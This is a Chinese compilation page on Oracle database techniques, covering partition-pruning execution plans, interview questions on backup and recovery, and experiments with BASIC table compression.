IDX_3 MAXVALUE IDX3
--下面是其执行计划,可以看出支持分区消除
SQL>set autot trace exp;
SQL>select * from big_table where created_date=to_date(‘20130625‘,‘yyyymmdd‘);
Execution Plan
----------------------------------------------------------
Plan hash value: 1378264218
---------------------------------------------------------------------------------------------------------------------------
| Id | Operation | Name | Rows | Bytes | Cost (%CPU)| Time | Pstart| Pstop |
---------------------------------------------------------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | 1 | 41 | 2 (0)| 00:00:01 | | |
| 1 | PARTITION RANGE SINGLE | | 1 | 41 | 2 (0)| 00:00:01 | 2 | 2 |
| 2 | TABLE ACCESS BY GLOBAL INDEX ROWID| BIG_TABLE | 1 | 41 | 2 (0)| 00:00:01 | 2 | 2 |
|* 3 | INDEX RANGE SCAN | BITA_CREATED_DATE_I | 1 | | 1 (0)| 00:00:01 | 2 | 2 |
---------------------------------------------------------------------------------------------------------------------------
--以下为范围查询,Pstart为1,Pstop为2,同样支持分区消除
SQL>select * from big_table
2 where created_date>=to_date(‘20120625‘,‘yyyymmdd‘) and created_date<=to_date(‘20130625‘,‘yyyymmdd‘);
Execution Plan
----------------------------------------------------------
Plan hash value: 213633793
------------------------------------------------------------------------------------------------------
| Id | Operation | Name | Rows | Bytes | Cost (%CPU)| Time | Pstart| Pstop |
------------------------------------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | 3334 | 133K| 14 (0)| 00:00:01 | | |
| 1 | PARTITION RANGE ITERATOR| | 3334 | 133K| 14 (0)| 00:00:01 | 1 | 2 |
|* 2 | TABLE ACCESS FULL | BIG_TABLE | 3334 | 133K| 14 (0)| 00:00:01 | 1 | 2 |
------------------------------------------------------------------------------------------------------
篇8:Oracle技术面试问题
Oracle技术面试问题
这也许是你一直期待的文章,在关注这部分技术问题的同时,请务必阅读有关面试中有关个人的问题和解答,这里的回答并不是十分全面,这些面试问题可以通过多个角度来进行解释,也许你不必在面试过程中给出完全详尽的答案,只需要通过你的解答使面试考官了解你对ORACLE概念的熟悉程度。
1.解释冷备份和热备份的不同点以及各自的`优点
解答:热备份针对归档模式的数据库,在数据库仍旧处于工作状态时进行备份。而冷备份指在数据库关闭后,进行备份,适用于所有模式的数据库。热备份的优点在于当备份时,数据库仍旧可以被使用并且可以将数据库恢复到任意一个时间点。冷备份的优点在于它的备份和恢复操作相当简单,并且由于冷备份的数据库可以工作在非归档模式下,数据库性能会比归档模式稍好。(因为不必将archive log写入硬盘)
2.你必须利用备份恢复数据库,但是你没有控制文件,该如何解决问题呢?
解答:重建控制文件,用带backup control file 子句的recover 命令恢复数据库,
3.如何转换init.ora到spfile?
解答:使用create spfile from pfile 命令。
4.解释data block , extent 和 segment的区别(这里建议用英文术语)
解答:data block是数据库中最小的逻辑存储单元。当数据库的对象需要更多的物理存储空间时,连续的data block就组成了extent . 一个数据库对象拥有的所有extents被称为该对象的segment.
5.给出两个检查表结构的方法
解答:1.DESCRIBE命令 2.DBMS_METADATA.GET_DDL 包
6.怎样查看数据库引擎的报错
解答:alert log.
篇9:oracle表压缩技术(BAISCvsOLTP)
以OLTP压缩为例,引用参考文档4的说明,原理如下
请看一个 ACCOUNTS 表,它包含以下记录:
在数据库内部,假定一个数据库块包含上述所有行。
解压缩的块看上去是这样的:记录中的所有字段(列)都包含数据。压缩此块时,数据库首先计算在所有行中发现的重复值,将这些值移出行外,然后将其放在块的头部附近。行中的这些重复值将被替换为一个表示其中每个值的符号。从概念上讲,它看上去如下图所示,您可以看到压缩前后的块。
注意这些值是如何从行中取出并放入顶部称为“符号表”的特殊区域中的。列中的每个值都被分配一个符号,此符号将替代行内的实际值。由于符号所占空间小于实际值,因此记录大小也远远小于初始值。行中的重复数据越多,符号表和块越紧凑。
由于压缩作为触发事件发生,而不是在插入行时发生,因此在正常的 DML 进程中压缩对性能没有任何影响。压缩被触发后,对 CPU 的需求肯定会变得很高,但在其他任何时间 CPU 影响都为零,因此压缩也适用于 OLTP 应用程序,这是 Oracle Database 11g 中压缩的平衡点。
除了减少空间占用外,压缩数据还将缩短网络传输时间、减少备份空间,并使在 QA 和测试中维护生产数据库的完整副本变得切实可行。
篇10:oracle表压缩技术(BAISCvsOLTP)
下面通过具体的实验来看basic压缩和OLTP压缩的效果和异同点。
basic compression的6组实验,来比较各种情况下的表压缩
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
sys@MS4ADB3(dtydb5)>select count(*)from test;
COUNT(*)
----------
50000
-- 1.Baseline CTAS
create table t1 tablespace users
as
select * from test where rownum <=50000;
-- 2.CTAS with basic compression enabled
create table t2 compress basic tablespaceusers
as
select * from test where rownum <=50000;
-- 3.Normal insert into empty table defined as compressed
create table t3 compress basic tablespaceusers
as
select * from test where rownum = 0;
insert into t3 select * from test whererownum <= 50000;
-- 4.Direct path insert into empty table defined as compressed
create table t4 compress basic tablespaceusers
as
select * from test where rownum = 0;
insert /*+append*/ into t4 select * fromtest where rownum <= 50000
-- 5.CTAS without compression, then change to compressed
create table t5 tablespace users
as
select * from test where rownum <=50000;
alter table t5 compress basic;
?
1
2
3
4
5
6
--- 6. table move compress
create table t6 tablespace users
as
select * from test where rownum <=50000;
alter table t6 move compress basic;
对表做表分析?
1
2
3
4
5
6
7
8
9
10
11
execdbms_stats.gather_table_stats('SYS','T1');
execdbms_stats.gather_table_stats('SYS','T2');
execdbms_stats.gather_table_stats('SYS','T3');
execdbms_stats.gather_table_stats('SYS','T4');
execdbms_stats.gather_table_stats('SYS','T5');
execdbms_stats.gather_table_stats('SYS','T6');
查询表占用空间情况?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
sys@MS4ADB3(dtydb5)>select table_name,blocks, pct_free , compression,compress_for
2 from user_tables
3 where table_name in('T1','T2','T3','T4','T5','T6');
TABLE_NAME BLOCKS PCT_FREE COMPRESSION COMPRESS_FOR
---------------------------------------------------------------------- ---------- ---------------- ------------------------
T1 666 10 DISABLED
T2 204 0 ENABLED BASIC
T3 622 0 ENABLED BASIC
T4 204 0 ENABLED BASIC
T5 666 10 ENABLED BASIC
T6 204 0 ENABLED BASIC
sys@MS4ADB3(dtydb5)>selectsegment_name,bytes/1024 K from dba_segments where segment_name in('T1','T2','T3','T4','T5','T6');
SEGMENT_NA K
--------- ----------
T1 6144
T2 2048
T3 5120
T4 2048
T5 6144
T6 2048
【关于oracle分区技术初了解(通用10篇)】相关文章:
关于一个数据转换软件的使用StatTransfer7数据库教程2023-05-15
关于数据库解析不使用的五个理由2023-07-07
教你用Linux完成Oracle自动物理备份2023-06-07
分区工具Disk Genius使用详解2024-03-24
计算机网络技术实习报告2022-06-09
上海某公司笔试题目2022-09-13
数据库优化经验技巧及注意事项2022-07-02
informix 的每个版本的安装问题!Windows系统2022-05-28
Solaris学习笔记Windows系统2023-04-02
技术敏感度 ― 基层技术管理者2022-08-28